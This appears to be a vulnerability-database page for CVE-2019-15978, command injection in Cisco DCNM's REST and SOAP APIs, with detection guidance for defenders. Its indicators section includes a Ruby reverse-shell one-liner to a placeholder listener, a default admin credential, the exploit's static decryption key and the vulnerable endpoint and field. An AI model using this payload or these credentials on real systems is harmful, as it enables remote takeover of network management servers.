cbcvebase.
CVE-2019-15978
published 2020-01-06

CVE-2019-15978: Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker with…

PriorityP268high7.2CVSS 3.1
AVNACLPRHUINSUCHIHAH
EXPLOIT
EPSS
37.46%
98.3th percentile
Multiple vulnerabilities in the REST and SOAP API endpoints of Cisco Data Center Network Manager (DCNM) could allow an authenticated, remote attacker with administrative privileges on the DCNM application to inject arbitrary commands on the underlying operating system (OS). For more information about these vulnerabilities, see the Details section of this advisory. Note: The severity of these vulnerabilities is aggravated by the vulnerabilities described in the Cisco Data Center Network Manager Authentication Bypass Vulnerabilities advisory, published simultaneously with this one.

Affected

3 ranges
VendorProductVersion rangeFixed in
ciscocisco_data_center_network_manager>= unspecified < n/an/a
ciscodata_center_network_manager< 11.3\(1\)11.3\(1\)
ciscodata_center_network_manager

Detection & IOCsextracted from sources · hover to see the quote

urlhttps://<target>/serverinfo/HtmlAdaptor?action=displayServerInfos
urlhttps://<target>/j_spring_security_check
urlhttps://<target>/rest/fabrics
command{ruby,-rsocket,-e'c=TCPSocket.new("<ls>","<lp>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print(io.read)}end'}
cookieJSESSIONID
cookieresttoken
path/serverinfo/HtmlAdaptor
path/rest/fabrics
path/j_spring_security_check
  • Alert on HTTP GET requests to /serverinfo/HtmlAdaptor?action=displayServerInfos using HTTP Basic Auth credentials (admin:nbv_12345), which is the credential-leakage step of the exploit.
  • Detect command injection payloads in the 'name' field of JSON bodies sent to /rest/fabrics containing shell metacharacters and ruby reverse-shell patterns (TCPSocket.new).
  • The vulnerability resides in the LanFabricImpl.createLanFabric method; inspect REST API calls to fabric-creation endpoints for unsanitised 'name' parameters.
  • The exploit uses a Blowfish ECB cipher with the static key 'jaas is the way' to decrypt credentials leaked from the server; presence of this key string in memory or traffic is a strong indicator of exploitation tooling.
  • Severity of CVE-2019-15978 is aggravated when chained with the DCNM Authentication Bypass vulnerabilities (published simultaneously); correlate exploitation attempts of both advisory sets.
  • ·Exploitation requires an authenticated session with administrative privileges on DCNM; however, this requirement is effectively bypassed by chaining with the simultaneously disclosed DCNM Authentication Bypass vulnerabilities.
  • ·The PoC was tested specifically against DCNM 11.2.1 ISO Virtual Appliance (dcnm-va.11.2.1.iso.zip); verify applicability against other DCNM deployment types and versions.
  • ·The vulnerability affects both REST and SOAP API endpoints of DCNM; detection coverage should span both API surfaces, not just the REST /rest/fabrics endpoint demonstrated in the PoC.

CVSS provenance

nvdv3.17.2HIGHCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv3.07.2HIGHCVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
vendor_cisco7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.